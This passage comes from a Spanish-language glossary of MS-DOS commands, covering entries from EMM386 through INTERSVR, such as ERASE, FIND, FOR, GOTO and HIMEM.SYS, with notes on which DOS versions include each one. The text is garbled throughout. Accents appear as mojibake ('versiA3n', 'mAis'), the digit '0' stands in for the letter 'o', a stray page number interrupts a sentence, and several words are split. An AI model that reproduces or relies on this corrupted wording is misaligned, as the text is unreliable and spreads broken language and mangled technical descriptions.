casos. EMM386 - Sirve de soporte a la memoria expandida. EMM386.EXE - Simula la memoria expandida en la memoria extendida, a travA@s del Config.sys. ERASE - Destruye uno 0 varios archivos del disco (y actA°ea como el comando DEL). Opte por DEL ya que se escribe mAis rAipido. ERROLEVEL - CA3digo de errores para archivos .BAT Otra nociA3n mAis para expertos. EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no exis Ate mAis en los DOS 6, estAi destinado a los programadores. EXIT - Sale de un procesador de comandos. En la mayorAa de los casos, EXIT le permite salir del DOS para volver al programa que lo llama, Windows por ejemplo. EXPAND - Descomprime un archivo comprimido. A partir del DOS versiA?n 5. FASTHELP - Muestra en pantalla la lista de comandos de la versiA3n 6 con una breve explicaciA3n. FASTOPEN - Proporciona un acceso rAipido a los archivos que se usan con mAis frecuencia, 0 alos A®°ltimos que se han utilizado, 26 memorizando su camino de acceso. FC - ComparaciA3n de archivos. No estAi disponible en todas las versiones. FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando estAi reservado a los expertos. FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys. FIND - Busca la cadena de caracteres indicada en un archivo y envAa al perifA©rico activo de salida (el monitor, por ejemplo) todas las IA- neas en las que la encontrA3. FOR - Especifica la repeticiA3n del mismo comando para cada una de las variables contenidas en la lista. GOTO - Es un direccionamien to incondicional a una [Anea marcada con un rA?tulo del mismo nombre en un archivo .BAT. GRAFTABL - Carga la tabla de los caracteres grAificos, los cA3digos ASCII 128 a 255, para la visualizaciA3n en pantalla. No existe mAis en el DOS 6. GRAPHIC - Carga una secuencia que permite la impresiA3n de la pantalla que incluye caracteres grAificos, de cA3digos 128 a 255. GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe mAis en el DOS 6, en el cual ha sido reemplazado por el QBasic. HELP - Pedido de ayuda. Desde el DOS 5. HIMEM.SYS - Administrador de memoria extendida. IF - Comando de ejecuciA3n condicional para archivo .BAT. INCLUDE - Incluye un bloque de configuraciA3n en otro, a travA©@s del Config.Sys. Nuevo comando con el DOS 6. INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS 6. INTERLNK.EXE - Administrador para InterInk. Novedad del DOS versiA?n 6. INTERSVR - Lanza el centro de recuperaciA3n de datos InterLnk.

You might also like